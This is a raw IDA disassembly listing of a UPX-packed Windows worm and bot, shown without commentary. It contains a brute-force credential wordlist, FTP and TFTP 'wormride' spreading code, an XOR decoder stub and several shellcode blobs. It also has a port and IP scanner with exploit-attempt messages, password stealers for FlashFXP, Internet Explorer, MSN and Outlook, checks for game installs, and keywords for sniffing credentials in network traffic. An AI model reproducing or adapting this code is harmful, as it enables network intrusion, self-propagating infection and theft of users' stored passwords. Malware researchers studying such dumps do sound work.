					; UPX1:0041BE64o
		align 4
aBill		db 'bill',0             ; DATA XREF: UPX1:0041BC0Co
					; UPX1:0041BE60o
		align 10h
aFred		db 'fred',0             ; DATA XREF: UPX1:0041BC08o
					; UPX1:0041BE5Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: UPX1:0041BC04o
					; UPX1:0041BE58o
aJen		db 'jen',0              ; DATA XREF: UPX1:0041BC00o
					; UPX1:0041BE54o
aBob		db 'bob',0              ; DATA XREF: UPX1:0041BBFCo
					; UPX1:0041BE50o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: UPX1:0041BBF8o
					; UPX1:0041BE24o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: UPX1:0041BBF4o
					; UPX1:0041BE1Co
aUser		db 'user',0             ; DATA XREF: UPX1:0041BBF0o
					; UPX1:0041BE14o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: UPX1:0041BBECo
					; UPX1:0041BE10o
		align 4
aHome		db 'home',0             ; DATA XREF: UPX1:0041BBE8o
					; UPX1:0041BE0Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: UPX1:0041BBE4o
					; UPX1:0041BDF8o
		align 10h
aWww		db 'www',0              ; DATA XREF: UPX1:0041BBE0o
					; UPX1:0041BDF4o
aWeb		db 'web',0              ; DATA XREF: UPX1:0041BBDCo
					; UPX1:0041BDF0o
aRoot		db 'root',0             ; DATA XREF: UPX1:0041BBD8o
					; UPX1:0041BDD4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: UPX1:0041BBD4o
					; UPX1:0041BDD0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: UPX1:0041BBCCo
					; UPX1:0041BDC0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: UPX1:0041BBC8o
					; UPX1:0041BDBCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: UPX1:0041BBC4o
					; UPX1:0041BDB8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: UPX1:0041BBC0o
aAdmin		db 'admin',0            ; DATA XREF: UPX1:0041BBBCo
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: UPX1:0041BBB8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: UPX1:0041BBB4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: UPX1:0041BBB0o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: UPX1:0041BBACo
					; UPX1:0041BD14o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: UPX1:0041BBA8o
					; UPX1:0041BD10o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B:loc_4119BAo
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+843o
dword_41C514	dd 74A60h			align 10h
unk_41C520	db  2Dh	; -		; DATA XREF: sub_41113B+80Do
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_41113B+808o
dword_41C54C	dd 11A328h			dd 2 dup(0)
dword_41C558	dd 20363232h, 0A0D2Dh					; sub_41113B+7AAo
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+5C7o
					; sub_41113B+751o
dword_41C5DC	dd 13CFA0h			dd 2 dup(0)
dword_41C5E8	dd 20333132h, 0A0D7525h, 0dword_41C5F4	dd 160250h			align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o
		align 4
dword_41C614	dd 165620h			align 10h
dword_41C620	dd 20353234h, 0A0D2Dhdword_41C628	dd 150BD8h			dd 2 dup(0)
dword_41C634	dd 20303032h, 0A0D2Dh					; sub_41113B+4A6o
dword_41C63C	dd 0C4110h			dd 2 dup(0)
dword_41C648	dd 20373532h, 20222F22h, 0A0D2Dhdword_41C654	dd 2B020h			dd 0
dword_41C65C	dd 20313132h, 0A0D2Dhdword_41C664	dd 0A6BE0h			align 10h
dword_41C670	dd 20353132h, 0A0D2Dhdword_41C678	dd 162FA0h			dd 2 dup(0)
dword_41C684	dd 20303332h, 0A0D2Dhdword_41C68C	dd 151098h			dd 2 dup(0)
dword_41C698	dd 20313333h, 0A0D2Dhdword_41C6A0	dd 0CC2A8h			dd 2 dup(0)
dword_41C6AC	dd 0A0D20h						; sub_41113B+115o ...
dword_41C6B0	dd 20303232h, 0A0D2Dhdword_41C6B8	dd 303332h	dword_41C6BC	dd 53534150h, 0A0D3120h, 0dword_41C6C8	dd 313333h	dword_41C6CC	dd 52455355h, 0A0D3120h, 0dword_41C6D8	dd 303232h	unk_41C6DC	db  2Dh	; -		; DATA XREF: sub_411BBC+115o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_411BBC+6Eo
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724	dd 4000500h, 7868746Bh,	0unk_41C730	db  2Dh	; -		; DATA XREF: sub_411DC5+5BDo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: sub_411DC5+5B8o
		align 4
dword_41C76C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_411DC5+367o
aOctet		db 'octet',0            ; DATA XREF: sub_411DC5+333o
					; sub_411DC5+345o
		align 4
unk_41C788	db  2Dh	; -		; DATA XREF: sub_411DC5+144o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
		align 4


loc_41C7C8:				; DATA XREF: sub_4125DF+50o
		jmp	short loc_41C7DF
; ---------------------------------------------------------------------------


loc_41C7CA:				; CODE XREF: UPX1:loc_41C7DFp
		mov	ecx, 0
		xor	ecx, 0
		pop	esi


loc_41C7D6:				; CODE XREF: UPX1:0041C7DBj
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_41C7D6
		jmp	short near ptr dword_41C7E4
; ---------------------------------------------------------------------------


loc_41C7DF:				; CODE XREF: UPX1:loc_41C7C8j
		call	loc_41C7CA
; ---------------------------------------------------------------------------
dword_41C7E4	dd 0		dword_41C7E8	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+CBo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C89C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+8Co
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C964	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+36o
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41CA18	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_412720+71o
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_41CB95	db 0E3h			; DATA XREF: sub_4125DF+CFr
					; sub_4125DF+E4w
		align 4
dword_41CB98	dd 4113E68Bh						; sub_4125DF+75w
		align 10h
off_41CBA0	dd offset dword_41CCF8	; DATA XREF: sub_4127D0+77r
		dd offset nullsub_5
		dd 0
		dd offset dword_41CCD8
		dd offset dword_41CCCC
		align 8
		dd offset dword_41CCAC
		dd offset nullsub_166
		dd 0
		dd offset dword_41CC84
		dd offset nullsub_167
		align 10h
		dd offset loc_41CC58
		dd offset dword_41CC4C
		dd 0
		dd offset dword_41CC34
		dd offset nullsub_168
		align 8
		dd offset loc_41CC0C
		dd offset nullsub_169
		dd 4 dup(0)
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD	"+" TO EXPAND]
		db 0DAh
		dd 2 dup(0)
; ---------------------------------------------------------------------------


loc_41CC0C:				; DATA XREF: UPX1:0041CBE8o
					; UPX1:0041DB60o
		mov	ah, [esi-42447F50h]
		mov	esp, 0C590B1ACh
		cdq
		icebp
		mov	edi, 0B191C99Ah
		test	dword ptr [esi+0A0ADh],	0
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD	"+" TO EXPAND]
		db 0D0h
		dd 2 dup(0)
dword_41CC34	dd 91B0A391h, 0A1B1FABBh, 9EDF93AAh, 88DAB2E5h,	0B4AD9Ah
					; DATA XREF: UPX1:0041CBDCo
					; UPX1:0041DB54o
		dd 0
dword_41CC4C	dd 0DBEFF5CEh, 2 dup(0)					; UPX1:0041DB4Co
; ---------------------------------------------------------------------------


loc_41CC58:				; DATA XREF: UPX1:0041CBD0o
					; UPX1:0041DB48o
		xchg	eax, esp
		mov	ebx, 0FAA489A9h
		mov	eax, ds:0DA97B2BAh
		retn	0A4A4h
; ---------------------------------------------------------------------------
		dw 0D386h
		dd 84B8B28Bh, 0E6BCA1A0h, 0DB99A1h, 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD	"+" TO EXPAND]
		db 0F0h, 0E0h, 0DBh
		dd 2 dup(0)
dword_41CC84	dd 87BEA397h, 0A9BAFAA7h, 9FC29FA5h, 0C381BEE5h, 0C6ACB590h
					; DATA XREF: UPX1:0041CBC4o
					; UPX1:0041DB3Co
		dd 0A0B1A6h, 0
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD	"+" TO EXPAND]
		db 0D0h
		dd 2 dup(0)
dword_41CCAC	dd 8DBEAB8Eh, 0A4B6FABAh, 82DD95A3h, 0D581B2FEh, 9BBAA69Bh
					; DATA XREF: UPX1:0041CBB8o
					; UPX1:0041DB30o
		dd 0A5BBB7E6h, 2 dup(0)
dword_41CCCC	dd 0D0EBFBC0h, 2 dup(0)					; UPX1:0041DB28o
dword_41CCD8	dd 0C6B0A38Dh, 0A0A7BCA1h, 0D88E92B1h, 84B8F4h,	0
					; DATA XREF: UPX1:0041CBACo
					; UPX1:0041DB24o
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0F0h, 0EAh, 0DCh
		dd 2 dup(0)
dword_41CCF8	dd 90AAAB8Ah, 0A6B1B1BCh, 9EDF99ECh, 0C281A2F3h, 8DB7EC9Dh
					; DATA XREF: UPX1:off_41CBA0o
					; UPX1:off_41DB18o
		dd 0BCh, 0
dword_41CD14	dd 72h		dword_41CD18	dd 62h		dword_41CD1C	dd 63h		dword_41CD20	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_412E04+64o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_41CD58	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_412F07+98o
		dd 74726F70h, 34300320h, 3752502h, 2, 0
byte_41CD80	db 9Dh			; DATA XREF: sub_41294E+3Co
					; sub_41294E+4Co ...
		db 0A1h, 0B6h, 85h
		dd 0FAh, 2 dup(0)
		dd 0C8000000h, 0ECF1h, 3 dup(0)
		db 2 dup(0)
dword_41CDA6	dd 8512DD9Ch						; sub_412FC6+31r ...
dword_41CDAA	dd 0							; sub_414052+B5r ...
off_41CDAE	dd offset sub_410649	; DATA XREF: sub_41294E+1Cr
					; sub_412FC6+18r ...
		dw 3
		dd 0
		dd 0A7970000h, 0A0A998ADh, 0BCh, 2 dup(0)
		dd 0ECF6CD00h, 4 dup(0)
		dd 17B09A28h, 0
		dd offset sub_410B52
		dd 3, 10h dup(0)
dword_41CE30	dd 6E695728h, 293233hdword_41CE38	dd 696E5528h, 2978hdword_41CE40	dd 63617041h, 252F6568h, 75haApache		db 'Apache',0           ; DATA XREF: sub_41308F+1B9o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_41308F+FCo
		align 4
aServer		db 'Server:',0          ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
		db 0Dh,0Ah,0
		align 4
unk_41CE98	db  53h	; S		; DATA XREF: sub_41349C+5E4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_41CEDC	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_41349C+55Eo
dword_41CEF0	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_41349C+343o
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_41CF28	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_41349C+305o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41CF54	db  53h	; S		; DATA XREF: sub_413AB0+1DCo
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_41CF8C	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_413CB3+30Eo
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_41CFD0	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_413CB3+2B0o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_41D000	db  2Dh	; -		; DATA XREF: sub_413CB3+31o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 10h
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41D054	dd 3003203Ah, 75250234h, 202E0203h, 0aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
		align 4
dword_41D098	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_4141C1+D8o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_41D0C8	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_4141C1+B4o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_41D100	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_4141C1+78o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_41D130	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_4142BF+D8o
		dd 30032074h, 73250234h, 203h
unk_41D150	db  53h	; S		; DATA XREF: sub_4143B0+221o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_41D18C	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_4143B0+1BAo
dword_41D1A0	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_4143B0+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_41D1E8	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_414600+1BEo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
					; sub_4147E5+C6o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_4148CE+ABo
		align 10h
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_4148CE:loc_414945o
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_4148CE+57o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_4148CE+15o
		align 4
unk_41D2DC	db  2Dh	; -		; DATA XREF: sub_414A1E+464o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 4
dword_41D318	dd 2343003h, 2037525ha_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+352o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+338o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+31Eo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_414A1E+304o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41D384	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_414A1E+2EAo
		align 10h
aPass_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1F4o
		db 'Pass=',0
aUser_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1DCo
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1C4o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1ACo
		db 'IP=',0
		align 10h
asc_41D3B0	db 0Dh,0Ah		; DATA XREF: sub_414A1E:loc_414BA6o
		db 0Dh,0Ah
		db '[',0
		align 4
unk_41D3B8	db  2Dh	; -		; DATA XREF: sub_414A1E+55o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 10h
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
		align 4
unk_41D3FC	db  2Dh	; -		; DATA XREF: sub_414EF4+B8Ao
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 4
dword_41D438	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_414EF4+AD8o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_41D494	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_414EF4+A2Bo
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
dword_41D4DC	dd 70747468h, 2F3A73hdword_41D4E4	dd 70747468h, 2F3Ahdword_41D4EC	dd 7274533Ah, 676E69h					; sub_414EF4+99Ao
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_414EF4+968o
aE161255a	db 'e161255a',0         ; DATA XREF: sub_414EF4:loc_415842o
		align 4
dword_41D50C	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_414EF4+935o
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_41D54C	dd 2Ch							; sub_414EF4+852o ...
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_414EF4:loc_4155CEo
		align 4
dword_41D55C	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_414EF4+6C6o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_414EF4:loc_41550Co
		align 10h
dword_41D5C0	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_414EF4+604o
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_414EF4+5C2o
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_414EF4+41Co
asc_41D610	db '%x',0               ; DATA XREF: sub_414EF4+234o
		align 4
unk_41D614	db  2Dh	; -		; DATA XREF: sub_414EF4+1A9o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 8
dword_41D648	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh					; sub_414EF4+2C7o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
		align 4
dword_41D67C	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_415B60+277o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_415B60+10Ao
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_415B60:loc_415C2Fo
		align 10h
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_415B60+8Co
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
		align 4
off_41D7AC	dd offset aUser_1	; DATA XREF: sub_415EB7+32o
					; "user	"
		dd offset aUnknown_1	; "unknown "
		dd offset aPass_2	; "pass	"
		dd offset aMailpass	; "MailPass "
		dd offset aOper		; "oper	"
		dd 0
		dd offset aIdentify	; "identify "
		dd 0
		dd offset aAuth_0	; " :auth "
		dd 0
		dd offset aPasswd_0	; "passwd="
		dd 0
		dd offset aUsername_0	; "username="
		dd 0
